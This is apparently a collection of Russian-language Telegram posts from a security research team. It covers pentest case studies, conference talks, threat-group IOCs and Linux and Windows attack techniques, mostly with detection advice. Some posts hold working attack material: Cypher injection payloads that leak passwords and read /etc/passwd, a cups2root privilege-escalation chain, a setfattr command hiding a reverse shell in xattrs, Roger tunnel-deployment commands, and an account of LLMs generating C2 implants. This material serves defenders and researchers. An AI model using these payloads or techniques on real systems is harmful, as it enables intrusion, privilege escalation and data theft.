purple shift

Продолжаем публиковать подробности наших докладов на конференции SAS 2026. Как мы уже рассказывали в анонсе, выступление Матвея Бухтоярова было основано на результатах проекта по анализу защищённости крупного облачного провайдера. Пентест проводился в рамках исследования модели угроз внешнего злоумышленника с правами рядового клиента. В результате эксплуатации нескольких уязвимостей и логических ошибок наши эксперты добились обхода изоляции защитных механизмов между контурами клиентов и получили доступ к брокерам сообщений (Kafka, Postgres, Redis). Также удалось использовать SQL-инъекцию в SaltStack для доступа к главной метабазе облака. По результатам пентеста клиенту были рекомендованы необходимые меры безопасности, включающие изоляцию управляемых сервисов для устранения сетевой видимости между ними, применение строгих AppArmor-политик для изоляции процессов сервисов, а также мониторинг использования потенциально уязвимых сервисов. При этом заказчик оперативно устранил все обнаруженные уязвимости. Детали исследования — в статье "Небезопасный сосед: как цепочка уязвимостей привела к обходу изоляции в облачной инфраструктуре"

Ничто так не греет прохладной осенью, как чтение самых популярных постов нашего канала, которые вы могли пропустить во время летних каникул. Представляем наш Top10-дайджест за третий квартал (июль-сентябрь): (1) Виктор Зварыкин снова стал "фаворитом года по версии жюри" на конкурсе Pentest Awards. Кейс Виктора в стиле "Лабиринта отражений" — это история о том, как небезопасный сериализатор BinaryFormatter помог получить RCE: https://t.me/purpleshift/210 (2) Ретранслятор для видеоконференций, известный как TURN-сервер, может быть использован злоумышленниками для проксирования трафика куда угодно. Как выявить такую атаку, объясняет Марсель Шагиев: https://t.me/purpleshift/200 (3) В проектах по анализу защищённости наша "красная команда" часто пользуется Mythic-агентами. Однако Mythic C2 не располагает встроенным egress-профилем, способным инициировать исходящее TCP-соединение к P2P-агенту. Наш эксперт Олег Сенько разработал bind_tcp_agent — виртуальный колбэк внутри Mythic, который закрывает этот пробел: https://t.me/purpleshift/207 (4) Бесфайловые атаки в Linux-системах, не оставляющие вредоносного ПО на диске, позволяют злоумышленникам обходить традиционные средства детектирования. В статье Амжеда Ваги разобрана подобная атака на основе системного вызова memfd_create: https://t.me/purpleshift/193 (5) Ещё одна техника линуксовых атак, которые могут обойти EDR, основана на использовании расширенных атрибутов (xattr): благодаря этой фиче злоумышленник может спрятать вредоносный код в легитимном и доверенном файле. Александр Головин объясняет, как детектировать попытки сокрытия вредоносной нагрузки в расширенных атрибутах: https://t.me/purpleshift/214 (6) Кейс Сергея Кабанова получил 3-е место на конкурсе Pentest Award 2026 в номинации "Kill Chain". Чтобы пробить внешний периметр и захватить продовый k8s кластер заказчика, достаточно было использовать пару старых, но не пропатченных уязвимостей, а также мисконфигурации нескольких сервисов: https://t.me/purpleshift/221 (7) Техника ClickFix состоит в том, чтобы заставить пользователя самостоятельно выполнить вредоносный код на своём компьютере. Эти атаки работают одинаково хорошо и на Windows, и на MacOS, и в Linux-средах. Различные варианты ClickFix-атак, а также методы их детектирования описал Вадим Грачёв: https://t.me/purpleshift/211 (8) Самый надёжный способ обойти систему безопасности — это отключить её. Такой пример был показан в докладе Кирилла Магаськина "GERT Recap: Самые интересные техники и громкие фейлы злоумышленников" на конференции OFFZONE. Этот августовский пост был лишь анонсом доклада, но сейчас уже доступна полная запись выступления Кирилла (см. вторую ссылку, на VKVideo): https://t.me/purpleshift/209 https://vkvideo.ru/video-172362100_456239378 (9) Наша "синяя команда" обнаружила новую русcкоговорящую группировку Citrus, которая атакует исключительно российские компании и использует PS-скрипты, сгенерированные с помощью LLM. Первый пост на эту тему был довольно коротким, но скоро мы опубликуем подробное расследование атак этой группы. Там будет, в частности, показана возможная связь Citrus c уже известной группировкой Toy Ghouls (Labooboo, Bearlyfy, Feral Wolf): https://t.me/purpleshift/220 (10) Octopus Deploy — популярный инструмент для автоматизации развертывания приложений и управления CI/CD-процессами. При этом злоумышленники могут добыть ценные данные из Octopus, даже если у них нет доступа к веб-версии инструмента. В посте Кирилла Николаева рассказано, как устроена такая атака и как её предотвратить: https://t.me/purpleshift/197

Как мы и обещали, начинаем рассказывать подробности наших докладов на конференции SAS 2026. В обзоре под названием "Приключения бумажного единорога внутри современного склада" наши эксперты делятся некоторыми результатами исследования защищённости крупного логистического центра. В статье прослеживается полный путь одного заказа через склад, строится модель угроз, разбираются возможные пути проникновения в инфраструктуру и практические последствия компрометации системы управления складом. И конечно, даны рекомендации по защите. Например, один из самых опасных векторов первоначального доступа в складскую инфраструктуру — это портативные терминалы данных (PDT). Эти Android-устройства со встроенным сканером штрихкодов сотрудники склада носят с собой для сканирования товаров. Результаты сканирования через специализированное приложение отправляются на удаленный сервер системы управления складом (WMS). Чтобы сотрудники не отвлекались от работы, такие устройства обычно работают в режиме киоска: интерфейс ограничен одним приложением, а доступ к остальным функциям Android заблокирован. Однако, как показало наше исследование, эти ограничения несложно преодолеть даже обычному сотруднику склада. А побег из режима киоска позволяет установить вредоносное ПО, обеспечивающее атакующему удаленный доступ к сети склада через Интернет. Кроме того, терминал уже имеет аутентифицированный доступ к API WMS. Поэтому злоумышленник, который получит контроль над таким устройством через побег из режима киоска, сможет воспользоваться имеющимися у него привилегиями доступа — например, подтверждать комплектацию и выполнение заказов, которые фактически не выполнялись. При этом вакансии в сфере сортировки, упаковки и курьерской доставки часто закрываются быстро и массово. Для таких должностей, как правило, не требуется предварительная подготовка, профессиональная сертификация и определенный опыт работы. Человек может прийти прямо с улицы, быть нанятым в течение нескольких дней и сразу обрести легитимный физический доступ к объекту. Поэтому кадровая безопасность должна служить дополнительным уровнем защиты складской инфраструктуры.

Бывает так: человек работает в сфере информационной безопасности, но при этом он почему-то оказался в октябре на острове Бали. Если такое случилось с вами, вы можете послушать выступления наших экспертов по анализу защищённости на конференции SAS 26. 21 октября уже знакомые вам Сергей Сидоров и Хайдар Кабибо представят там большое исследование нашей команды в докладе "Breaking the Warehouse: From Bluetooth Devices to Operational Control". Это история о том, как злоумышленники могут проникнуть в сеть современного склада и критически важных логистических систем через очень простые инструменты. Коллеги разобрали протокол радиочастотной связи между беспроводными сканерами штрихкодов и их базовыми станциями — и выяснили, что его можно использовать для инъекции произвольных нажатий клавиш и команд, что позволяет выполнять удаленный код на Windows и Linux без участия пользователя. Также во время этого исследования были обнаружены несложные методы обхода ограничений в портативных терминалах сбора данных под управлением Android. Эти методы нарушения защиты могут использовать и простые сотрудники складов, и злоумышленники, которые захотят получить постоянный и трудноотслеживаемый доступ к системе управления складом (WMS). Докладчики покажут, как скомпрометированное операционное устройство может стать точкой для проникновения во внутреннюю сеть, для эксплуатации уязвимостей WMS и получения контроля над критически важными логистическими процессами. И конечно, будут даны рекомендации по защите от таких атак. А 22 октября на той же конференции SAS 26 в докладе "Smash the Tenant Boundary" наш эксперт Матвей Бухтояров расскажет о возможностях проникновения в другую — облачную — инфраструктуру. Многие считают, что компрометация облачных данных всегда происходит из-за неправильно настроенного бакета или открытого порта. Однако недавнее глубокое тестирование на проникновение крупного облачного провайдера доказало, что критические угрозы могут исходить из собственной инфраструктуры самого провайдера. В докладе Матвея будет показано, как был осуществлен полный обход изоляции между тенантами (cross-tenant), что привело к компрометации сетей множества клиентов. Это не был какой-то один «магический» эксплойт — это была красивая цепочка уязвимостей. Мы объединили интересный вектор SSRF-to-RCE в компоненте панели управления Kubernetes, собрали утекшие SSH-ключи из логов и использовали их для горизонтального перемещения. Оттуда мы обошли изоляцию, чтобы получить доступ к клиентским базам данных и брокерам сообщений (Kafka, Postgres, Redis). И наконец, использовали SQL-инъекцию в SaltStack для доступа к главной метабазе облака. Презентация носит сугубо технический характер и полностью основана на реальном кейсе. Слушатели изучат механику каждого шага, логику построения нашей цепочки атаки и увидят, почему мультитенантность в современных облаках может быть гораздо более хрупкой, чем принято думать. Кстати, это исследование заняло 2-е место на премии Pentest Award 2026 в номинации «Системный взлом (Web & Logic)» Приходите / прилетайте послушать, будет интересно! Ну либо просто подождите, пока мы расскажем детали этих докладов в нашем канале (мы это сделаем, но позже).

В сентябре исследователи из компании V12 продемонстрировали cups2root — новую технику локального повышения привилегий в Linux на основе штатных механизмов диспетчера печати CUPS. Планировщик cupsd не ограничивает path-компонент device-URI для non-file-бэкендов, поэтому root-привилегированный backend serial может записать данные печати в произвольный файл (включая конфигурацию самого CUPS), а подмена параметров этой конфигурации заставляет root-процесс исполнить файлы атакующего. Данная особенность заводилась как уязвимость CVE-2026-95511, однако апстрим CUPS отклонил её: создание serial-очереди требует членства в SystemGroups (lpadmin) — административной роли, назначаемой суперпользователем, то есть «граница привилегий не пересекается». Но для защитников проблема остаётся: в Ubuntu Desktop обычный пользователь по умолчанию входит в lpadmin, и группа становится путём к root. Как устроена атака: В CUPS можно создать очередь, которая будет ссылаться на конфиг самого cupsd. Это может делать пользователь, состоящий в группе lpadmin (по умолчанию обычный пользователь состоит в ней в чистой версии Ubuntu 26.04). После создания очереди в нее пишется (через lp -d PRINTER_NAME -o RAW payload) «нужный» конфиг, а именно: Group <primary-группа атакующего>, ServerRoot/ServerBin/RequestRoot/TempDir = /etc/cups/interfaces После принуждения к перезапуску (посылается искажённый запрос на подписку IPP Create-Printer-Subscriptions, затем systemd перезапускает упавший cupsd) диспетчер печати CUPS вычитывает новый конфиг, идёт по подготовленному пути и делает то, что прописано в конфиге: даёт права на запись группе пользователя в папку /etc/cups/interfaces. Далее атакующий создаёт симлинки бинарей CUPS (чтобы cupsd не упал), копирует в эту папку пейлоад и создаёт wrapper-скрипт cups-exec, который запускается в рамках нормальной работы CUPS от имени root. Этот скрипт даёт пейлоаду нужные права через chown 0:0 + chmod 6755 (setuid-root лаунчер). Остаётся только запустить пейлоад с root-правами. Директория для записи /etc/cups/interfaces/ выбрана неслучайно, она должна удовлетворять следующим условиям: — из неё можно исполнять файлы; — она поддерживает suid-бит на исполняемых файлах; — процесс, который меняет права на директорию, на которую указывают параметры фейкового конфига (ServerBin), должен иметь право менять права данной директории. Детектирование: Среди артефактов, фиксируемых при использовании такой техники, можно выделить следующие: — Событие запуска процесса serial самого cupsd, которое явно говорит, что происходит работа с устройством по URI serial:/etc/cups/cups-files.conf:

/usr/lib/cups/backend/serial serial:/etc/cups/cups-files.conf?baud=115200 <обрезано> 

— Создание очереди для принтера с файлом cups-files.conf от процесса lpadmin:

/usr/sbin/lpadmin -p cups2root -v serial:/etc/cups/cups-files.conf?baud=115200 <обрезано> 

— Смена владельца (chown 0:0), смена прав и выдача suid-бита (chmod 6755), проверка пользователя (id -u) и другие подозрительные события от процесса cups-exec. — Наличие и запуск скрытых файлов (начинаются с '.') из директории /etc/cups/interfaces/. В случае оригинального PoC это файл /etc/cups/interfaces/.c2rsh. Защита: На данную особенность нет патча, поскольку она не признана уязвимостью. Основная рекомендация по защите — удаление из группы lpadmin пользователей, которые не администрируют принтеры в CUPS. Мораль: Техника cups2root показывает, что граница привилегий определяется не только ядром и SUID-бинарниками, но и «административными» группами прикладных сервисов. Root-процессы с управляемой пользователем конфигурацией (пути, URI, фильтры) — потенциальный канал записи и исполнения от имени root, а членство в таких группах — привилегия, подлежащая контролю. Даже без формального CVE детект должен опираться на поведение цепочки lpadmin → cupsd → backend → cups-exec, а не только на сигнатуры пейлоада.

Чаще всего во время работ по анализу защищённости пробив периметра происходит через выполнение произвольного кода на сервере заказчика. Далее перед пентестером возникает задача по пивотингу: нужно превратить скомпрометированную машину в промежуточный узел связи для доступа к другим ресурсам внутри атакуемой сети. Обычно для этого используют Neo-reGeorg или suo5. Этих инструментов вполне хватает для большинства задач, однако не всегда всё идёт по плану. Так, на одном из проектов наши специалисты столкнулись с такой проблемой: линуксовые коллекторы инструмента Bloodhound не могли собрать дамп. Можно было бы использовать SharpHound, однако он не умеет делать DNS over TCP. А значит, необходимо проксировать UDP-трафик — но этого не умеет ни один из упомянутых инструментов. В другой раз нам пришлось разбираться с проблемой уже конкретно в ashx/aspx-шаблонах утилиты Neo-reGeorg: файлы большого размера просто повреждались и роняли туннель. В ходе написания фикса стало понятно, что проблема скорее архитектурная, и небольшим патчем тут не обойтись. Наш эксперт Алексей Аланов нашел способы улучшить и расширить функционал Neo-reGeorg, однако кодовая база уже сильно расходилась с оригиналом. Так был создан Roger. Новый инструмент включает полную поддержку SOCKS5 по RFC 1928, может сжимать промежуточный трафик, имеет менеджер коннектов и прочие плюшки. Начать пользоваться достаточно просто, особенно если вы до этого пробовали Neo-reGeorg. Генерируем пейлоад: ./roger-go generate -k 'testK3y123!' Далее забрасываем его на сервер и подключаемся клиентом Roger'а: ./roger-go -k 'testK3y123!' -u <roger url> Утилита Roger имеет много опций, которые могут быть использованы для поднятия стабильного и быстрого туннеля в различных ситуациях. Пользуйтесь и добавляйте в избранное. Больше обновлений впереди!

Мы не устаём повторять, что значительная доля атак на российские предприятия происходит через тривиальные ошибки в настройках серверов 1С, поскольку на этом ПО построено большинство систем управления ресурсами предприятия (ERP) в России. А еще мы однажды рассказывали, как обнаружить компрометацию такой системы через мониторинг подозрительных дочерних процессов. Нормальное поведение ключевых процессов сервера 1С (ragent.exe, rphost.exe, rmngr.exe) — это работа с СУБД и обработка клиентских запросов. Если же такой процесс, как rphost.exe, вдруг запускает командную оболочку (cmd, powershell и др.) — это признак атаки через взломанную ERP. Но что делать дальше, когда у вас обнаружился скомпрометированный 1С-сервер? Нужно искать и анализировать артефакты, которые могут быть: — в журнале регистрации 1С, — в технологическом журнале, — в сеансовом кэше, — в журналах доступа веб-сервера, — на рабочих местах с клиентами 1С. Подробности и практические примеры расследования таких инцидентов — в новой статье Алины Сухановой "Где искать следы атакующего при компрометации 1С".

Продолжаем публиковать кейсы наших экспертов, которые стали призёрами на конкурсе Pentest Award 2026. Сегодня будет история от Сергея Кабанова, получившего 3-е место в номинации "Kill Chain". Цепочка из пяти сервисов, два независимых пути к cluster-admin — при этом внутри использовалась только одна старая CVE, а остальное сделано через мисконфиги. Поздравляем Сергея! Суть кейса: Архитектура некоторых сервисов может быть построена небезопасно по умолчанию: целевые приложения содержат в себе различные мисконфигурации и опасные функции, которые позволяют простым пользователям повысить свои привилегии, а иногда и захватить весь сервис. В нашем случае, всё началось с эксплуатации CVE-2024-50340 на внешнем периметре, что позволило перевести Symfony-приложение в debug-режим и получить переменные окружения. Среди них нашлись учетные данные администратора сервиса Pimcore, а доступ к функционалу одного из его кастомных модулей в дальнейшем позволил добиться исполнения кода на сервере. После компрометации хоста во внутренней инфраструктуре был обнаружен Harbor. В одном из доступных Helm-чартов оказался захардкоженный пароль от MongoDB ClearML, а уже в самой базе — access keys пользователей. Дальше выяснилось, что возможностей обычного пользователя ClearML уже достаточно для серьёзного развития атаки. Через механизм запуска экспериментов удалось добиться исполнения кода, запустить привилегированный контейнер и в итоге выйти на ноду кластера. На захваченном хосте нашёлся GitLab-токен с правами Maintainer в приватных проектах. С этого момента дальнейшая атака разделилась на два независимых вектора. Но в исследовании обоих векторов была задействована Grafana, которая была использована в качестве SSRF-прокси и тем самым помогла обойти network policy. Исследование первого вектора строилось через приватный GitLab Runner и внутренние сервисы Kubernetes. Так с помощью Grafana удалось добраться до Longhorn, подменить его engine image и в конечном итоге получить права cluster-admin через ArgoCD. Во втором случае удалось вмешаться уже в CI/CD-процесс: модифицировать генерируемый deploy pipeline, выполнить свой код внутри deploy job и получить kubeconfig продового namespace. Последним препятствием стал Kyverno Admission Controller, который удалось обойти благодаря сочетанию CVE-2020-8554 (не была пропатчена) и настроенного в кластере fail-open режима. В результате второй вектор также закончился получением прав администратора Kubernetes-кластера. Таким образом, используя в основном мисконфигурации и небезопасную архитектуру приложений, удалось пробить внешний периметр и захватить продовый k8s кластер. Подробное описание кейса читайте в нашем гитхабе.

В ходе расследования серии кибератак наши эксперты обнаружили новую русcкоговорящую деструктивную группировку, называющую себя "Citrus Ransomware Group". В качестве начального вектора проникновения группа использует "доверительные отношения" (Trusted Relationship, T1199) между жертвой и её подрядчиком. В арсенале группы: — XRay-прокси для проброса туннеля между корп.сетью и серверами атакующих, — Snaffler (сканер сетевых шар для поиска учетных данных и секретов), — Metasploit Framework, — Sharphound, — impacket, — mimikatz, — сканер сети fscan, — модифицированная версия кейлоггера peeping-tom, — шифровальщик семейства Vanessa (Sn00py), Также атакующие используют PS-скрипты и BATники, сгенерированные с помощью LLM. Cетевые IOCs: 91.210.109[.]118 91.210.108[.]180 Продолжаем изучение новой группировки. Детальное описание опубликуем позже.

В конце 2024 года мы рассказывали о том, как детектировать атаки на основе компрометации групповых политик (GPO) — и как обеспечить проактивный мониторинг GPO в SOC. Но возможно, такие вещи лучше запоминаются на практических примерах. И вот реальный случай: весной наши эксперты расследовали инцидент на промышленном предприятии на Ближнем Востоке. Злоумышленник получил в этой организации контроль над Active Directory с правами уровня администратора домена и создал вредоносный объект групповой политики (GPO) с именем PAYLOAD, привязав его к корню домена. С помощью одного этого объекта атакующий распространил записку с требованием выкупа, изменил обои рабочего стола и экран блокировки, принудительно настроил отображение баннера при входе в систему и отключил учетную запись локального администратора на всех рабочих станциях, входящих в домен. Украденные с серверов организации данные позже были опубликованы в Даркнете. Таким образом, используя только GPO, атакующий смог вмешаться в работу всего домена без размещения вредоносных исполняемых файлов на конечных устройствах — и нанести ущерб организации. Как ловить атаку: Стратегии обнаружения, основанные исключительно на файловых или процессных индикаторах, бесполезны против данного класса атак. Если вкратце, эффективная защита GPO должна включать: — аудит изменений службы каталогов, — мониторинг целостности файлов SYSVOL, — анализ телеметрии применения политик на конечных устройствах. Более подробные рекомендации по детектированию таких атак на примере ближневосточного инцидента — в статье Ахмада Заиди Саида и Эльсайеда Эльрефаэя "Кампания PAYLOAD: вымогательство через объект групповой политики Active Directory".

В конце лета число подписчиков нашего канала перевалило за 3 тысячи. Мы конечно же поздравляем нас любимых, но! Обычно в честь таких событий публикуют какие-нибудь итоги. И мы вдруг обнаружили, что подводили итоги только один раз, в конце прошлого года — когда собрали ТОП-10 постов нашего канала, набравших самое большое число лайков в 2025 году. Но в этом году поток наших публикаций значительно вырос. Поэтому мы решили делать дайджесты почаще. Вот например сегодня вспомним 10 самых популярных постов первого полугодия 2026 года. Если вы были в отпуске весной, вы могли их пропустить! (1) Новость об открытии сайта PurpleShift c блэкджеком и английской версией — это была неплохая шутка на 1 апреля: https://t.me/purpleshift/171 (2) Практика пентестов от Ирины Беляевой — как попасть в Bitbucket через тестовый кластер Kubernetes: https://t.me/purpleshift/182 (3) Таха Хаким собрал стереотипы мышления, которые мешают в работе аналитиков SOC, и предложил ряд методов, позволяющих выявлять подобные косяки: https://t.me/purpleshift/152 (4) Чтобы сделать вредоносные файлы невидимыми, необязательно использовать руткиты. Александр Головин рассказывает о технике маскировки процессов в Linux через bind mount: https://t.me/purpleshift/172 (5) Хайдар Кабибо изучил внутренний виндовский протокол RPC и нашёл новый вектор локального повышения привилегий, получивший название PhantomRPC: https://t.me/purpleshift/176 (6) Снова практика пентестов от Ирины Беляевой — как можно различными способами пройти от RCE на контроллере до администратора домена: https://t.me/purpleshift/184 (7) Сергей Бобров, Владас Булавас и Виталий Сальников доказали, что слишком самостоятельный LLM-агент OpenClaw может выполнять на вашем компьютере вредоносные команды: https://t.me/purpleshift/175 (8) Александр Головин рассказал, как работает метод отключения Windows Defender без дополнительного ПО, через символическую ссылку (symlink): https://t.me/purpleshift/151 (9) Значительная доля атак на российские предприятия происходит через сервера 1С. Алина Суханова объясняет, как исправить тривиальные ошибки в настройках, которые помогают атакующим: https://t.me/purpleshift/157 (10) MiniPlasma — самый неприятный из эксплойтов анонимного хакера Nightmare Eclipse. В посте Софьи Фигурной рассказано, как детектировать эту атаку: https://t.me/purpleshift/187 PS. Если вы были в отпуске летом, ждите следующий дайджест.

«Мир стоит на кодах и шифрах, Джон. Многомиллионные охранные системы в банках и простенькие кассовые аппараты. Криптография сопровождает нас на каждом шагу». Помните эту цитату из первого сезона «Шерлока»? В самом деле, современный человек, даже будучи простым потребителем, сталкивается с криптографией буквально каждый день: в смартфонах и банковских картах, телевизорах и автомобилях, умных домах и во многих других устройствах используется криптографическая защита информации. Неудивительно, что и у людей, занимающихся разработкой ПО, нередко возникает потребность в использовании криптографии. И казалось бы — в чем проблема? Практически в любой системе разработки имеются готовые библиотеки, реализующие современные криптографические алгоритмы на любом популярном языке программирования. Достаточно выбрать подходящий для конкретной задачи алгоритм шифрования, использовать надежный ключ — и вуаля! — конфиденциальные данные сокрыты от посторонних глаз и защищены от подмены. Однако на практике не всё так однозначно: использование даже самого надежного криптографического алгоритма само по себе не гарантирует безопасность. В частности, при практической реализации программных компонентов, в которых задействована криптография, критически важно обдуманно подходить к выбору алгоритма шифрования и исключить любые утечки — будь то данные о ходе его работы, промежуточных результатах или возникших ошибках. В противном случае ваш код может породить "криптографического оракула" — гипотетическую сущность, которая при общении с атакующим выдаёт как будто бы не очень полезные ответы, однако из этих ответов в итоге складываются подсказки для успешного взлома вашей криптографии. О том, как устроены такие атаки, читайте в статье Кирилла Мосолова "Оракул, сын ошибок чудных".

Финал соревнований VolgaCTF 2026 пройдёт с 16 по 18 сентября в Самаре. И на этом мероприятии наши эксперты по eжегодной традиции поделятся интересными историями из рабочих проектов и исследований. Выступления будут проходить 16 сентября. Если вы будете смотреть их в онлайне, то сразу после утреннего кофе (то есть в 11.45) подключайтесь к докладу Александры Федосимовой "Вредные советы: чему (не) учит работа в OSINT". В докладе будет показано, какие полезные находки можно сделать при поиске по открытым источникам. А вредные советы - о том, как стать зацепкой в чужом расследовании. Например, если вы думаете, что ваши старые посты в соцсетях никто не читает - то вы ошибаетесь. Иногда OSINT-аналитикам приходится работать с самыми неожиданными источниками: от публикаций 10-летней давности до анкет пользователей Даркнета. После обеда, то есть в 16:00, все бежим (потому что трансляции не будет) в зал трека А смотреть выступление Сергея Сидорова "Эволюция промышленного взлома". Сергей расскажет, как за последние годы изменились возможности исследователя информационной безопасности. И вопреки ожиданиям, речь пойдет не о вездесущих LLM. А о том, как накопленные знания, выросшее сообщество и доступность инструментов анализа беспроводных технологий меняют ландшафт угроз в промышленных масштабах. Поговорим про реальный опыт взлома всевозможного ползающего, плавающего и где-то даже летающего - при помощи современных методов исследования и атак через радиоканалы. А в 16:30 в том же зале трека А (и тоже без трансляции) слушаем доклад Матвея Бухтоярова "Взлом компьютеров в облаке". Доклад про интересные цепочки, встреченные в облаках и приводящие к импакту. Ничего лишнего. Приплывайте/прилетайте послушать!

В начале августа мы рассказали, что хакерская группировка Labooboo (Toy Ghouls, Bearlyfy, Feral Wolf) завела собственный бэкдор, который использует нестандартные способы коммуникации с командным сервером: Matrix-мессенджер Element и MQTT-брокер HiveMQ. Мы обещали опубликовать детали позже. И вот они: в статье "У меня тоже есть птички" наши эксперты подробно разобрали, как этот бэкдор доставляется в целевые системы, как закрепляется в них и взаимодействует с командным сервером. А здесь для краткости добавим только список индикаторов компрометации, которые вы можете поискать в своих системах: Имена файлов и MD5: - cplsupport.exe (BFADBEEE63A4F0BF19EC9DEB8FA58F58) - wtass.exe (7916C33688385525078BEE504C90F359) - config.toml Ключи реестра: - HKLM\Software\synapse\Config\SealedConfig - HKLM\Software\SynapseAgent\metrics_interval Названия служб: - cplsupport (Problem Reports Control Panel) - wtas (Windows Telemetry Aggregator Service) Доменные имена: - meet.element[.]tw - broker.hivemq.com (легитимный ресурс, используемый злоумышленниками) - ip-api.com (легитимный ресурс, используемый злоумышленниками)

Атаки с использованием NTFS-потоков в Windows давно стали классикой. В Linux-средах про расширенные атрибуты (xattr) вспоминают реже, хотя идея схожая: благодаря этой фиче злоумышленник может скрыть вредоносный код в абсолютно легитимном и доверенном файле, что помогает обходить детекты со стороны защитных решений. Техника не новая, но она работает до сих пор, потому что EDR на Linux почти не смотрят в эту область. Суть атаки: Расширенные атрибуты позволяют привязать к любому файлу пару "ключ-значение". Размер значения может достигать 64 КБ. Важно, что поддержка есть во всех основных файловых системах. В качестве файла-носителя подойдёт любой, например, .bash_history. Алгоритм таков: — создаётся обычный reverse shell (например, через msfvenom), — полученный шелл-код сохраняется в атрибуте user.ATTRIBUTE файла .bash_history, это можно сделать такой командой: setfattr --name=user.ATTRIBUTE --value="$buf" .bash_history — также понадобится загрузчик на C, который считает этот атрибут функцией getxattr и передаст управление на полученный массив байт, — остаётся доставить файлы на хост-жертву и запустить загрузчик. По большому счету, сама нагрузка может быть чем угодно: бекконнект, модификация crontab, закрепление через systemd-таймеры - всё, что помещается в строку. Однако техника имеет свои ограничения: большинство утилит не сохраняют xattr по умолчанию. Чтобы решить эту проблему, то есть доставить файл с пейлоадом в расширенном атрибуте на хост-жертву, злоумышленник может использовать: tar с аргументом --xattrs rsync с аргументом -X или --xattrs Как ловить атаку: Для детектирования попыток сокрытия полезной нагрузки в расширенных атрибутах файлов стоит ввести мониторинг системных вызовов для getxattr/setxattr и анализировать их содержимое. Простейшие правила для auditd могут выглядеть следующим образом:

-a always,exit -F arch=b64 -S getxattr -k xattr_read 

-a always,exit -F arch=b64 -S setxattr -k xattr_write 

Кроме того, с учетом вышеупомянутых ограничений этой техники, для детектирования можно отслеживать запуски утилит tar и rsync с соответствующими аргументами командной строки, которые отвечают за сохранение расширенных атрибутов.

Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса. На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции. Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми. Суть проблемы: Уязвимый код может выглядеть так:

query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'

Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:

query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"

with driver.session() as session:
    result = session.run(query, user_input=user_input)

В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher. На практике: На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:

GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001

Значение login после декодирования:

" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) // 

Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса. Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].

Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}

После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:

" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //

Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:

label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>

Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать. Результат: Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам. Для защиты от такой атаки рекомендуем: — использовать параметризованные запросы, — не возвращать клиенту информацию о содержании ошибки, — выдать приложению минимальные права, — ограничить LOAD CSV и исходящий трафик.

Все слышали новости о том, что в этом году LLM находят множество критических уязвимостей — больше тысячи в месяц. А мы сегодня поделимся более редким опытом: как LLM меняют скорость разработки оффенсивного инструментария, который используется для анализа защищённости. Интеграция новых техник во фреймворк Mythic состоит из двух частей: рутинная (шаблонный код, подключение к API задач Mythic, упаковка результатов) и творческая (сами техники, их выбор и совершенствование). Наши эксперты решили проверить, способен ли Anthropic Opus 4.6 автоматизировать рутину. Начали с провальной попытки решить задачу однократным промптом — но в итоге получили то, что можно охарактеризовать как фабрику одноразовых C2-агентов, которые генерируются менее чем за три часа. Основные достижения: — Трёхагентный цикл: оркестратор, разработчик, тестировщик — каждый со своим чистым контекстом. — Декомпозиция задач: 50 новых команд для Mythic за 4 часа параллельными оркестраторами. — Oracle harness: три уровня валидации — от mock-сервера до live QA на Windows-таргете. Начали с собственных экспериментов, протестировали подход SpecterOps, и в итоге скрестили оба. — Сравнение моделей: Kimi K3, DeepSeek V4 Flash, Qwen 3.6 27B — кто справился, кто сжульничал, кто обманул. — От задач к полноценным агентам: Go-имплант, Python-контейнер, HTTP C2-профиль, 7 команд — с нуля до PASS всех тиров. Более подробно о том, как устроен этот конвейер, почему контекст важнее интеллекта модели и почему обвязка это продукт — читайте в статье Олега Сенько "Фабрика C2-агентов: опыт LLM-генерации наступательного инструментария".

